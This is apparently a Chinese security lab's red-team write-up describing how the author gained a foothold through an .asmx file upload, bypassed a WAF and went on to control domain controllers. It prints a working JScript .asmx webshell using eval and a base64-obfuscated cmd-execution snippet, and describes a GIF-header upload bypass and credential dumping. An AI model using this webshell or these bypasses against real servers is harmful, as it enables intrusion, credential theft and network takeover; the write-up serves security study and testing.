点击蓝字 关注我们
日期:2022-02-14
作者:goout
介绍:前段时间,在做项目的时候遇到一个有趣的文件上传,技术摆烂,大家轻喷~
0x00 前言
无前言,直接看正文吧!
0x01 正文
在做某个项目时,发现系统存在弱口令。登录进去之后查看一遍功能,发现文件上传点还不少,几个上传功能。系统管理的附件配置无法修改,配置告诉我,这不是我能拿下的目标......
ashx
、asp
、ascx
、asax
之后,返回包都是空空如也,一直在waiting
。asmx
。asmx
的文件可以上传成功,这个时候我需要去找一个asmx
的马上传上去试试。asmx
的木马进行尝试:waiting
状态。WAF
,只能上传这个木马:<%@ WebService Language="JScript" class="ScriptMethodSpy"%>
import System;
import System.Web;
import System.IO;
import System.Web.Services
import System.Web.Script.Services
public class ScriptMethodSpy extends WebService
{
WebMethodAttribute ScriptMethodAttribute function Invoke(Ivan : String) : Void
{
var I = HttpContext.Current;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
Response.Write("<H1>Just for Research Learning, Do Not Abuse It! Written By <a href=' '>Ivan1ee</a ></H1>");
eval(Ivan);
}
执行DateTime.Now
,确实可以输出当前时间。
但是不知道为什么,终究是无法执行其他任何命令......
重新打开我的小浏览器,尝试寻找asmx
绕WAF
的方法,果然又让我借鉴到一位大佬的经验。附上大佬的文章地址:【一次hvv中的asmx上传绕过waf记录--manager】[2]。
文中写到:
var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("Y21k")));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c ***ipconfig /all***";e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());
用大佬的原生代码执行命令尝试,果然可以成功!
3389
。360
全家桶......整理一下思路,拿到普通用户权限:
(1)做个代理,提权,远程连接,干内网;
(2)做个代理,直接干内网;现在的问题是:如何传输工具,做代理出来。
360
全家桶在线,思前想后我想不到任何办法去远程下载工具,工作一度陷入了死局。重新观摩一遍大佬的文章,发现他的文章里,是可以上传哥斯拉的asmx
脚本文件的,且是可以绕过WAF
的。
抱着不死心的态度重新试一遍哥斯拉的木马,并且给木马加了一个gif
文件头,果然上传成功了,暗自悔恨自己的马虎,应该早先尝试一下加头。
哥斯拉的shell
拿到之后,我第一想法是反弹到cs
上(因为我习惯用cs
去进行一些操作),先利用已经拿到的shell
进行提权:
system
权限后,试了手头上几个免杀,都无法绕过当前360
一家,摆烂......哥斯拉本身是有注入程序的功能,这里我没多做研究,反手上传了一个冰蝎马,用了冰蝎的一键连上线了cs
,有兴趣的,可以了解一下哥斯拉的ShellcodeLoaderde
的使用方法。上线cs
后,系统是什么版本我忘记截图了,先读取一波密码。
ipconfig /all
的截图也忘记保存了......查看完信息,第一反应就是,我应该能拿到域控了。mstsc
,发现服务器上有远程两台域控的记录,直接用读出的密码远程连接域控机器,发现该域内有大量可控制的用户和计算机。原来还有一台域控,使用相同的密码远程登录上服务器,其能控制的机器与.2
没有差别,客户并不主张内网横向太广,于是拿下3
台域控后,又随便搞了几个数据库的弱口令,一些密码相同的服务器便停止了。
0x03 总结
我也不知道是幸运还是不幸,掏出来的1472
、42278/42287
也没用,就把域控拿下来了......
在整个过程中,就数asmx
脚本原生代码执行命令那里有点意思,大家智者见智,有兴趣的去了解下大佬的文章吧。
References
[1]
【探索基于.NET下实现一句话木马之asmx篇-Ivan1ee】: https://www.cnblogs.com/Ivan1ee/p/10278625.html[2]
【一次hvv中的asmx上传绕过waf记录--manager】: https://www.sec-in.com/article/854
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室
Cyber Security Lab
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
原文始发于微信公众号(宸极实验室):『红蓝对抗』从asmx马到两台域控
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论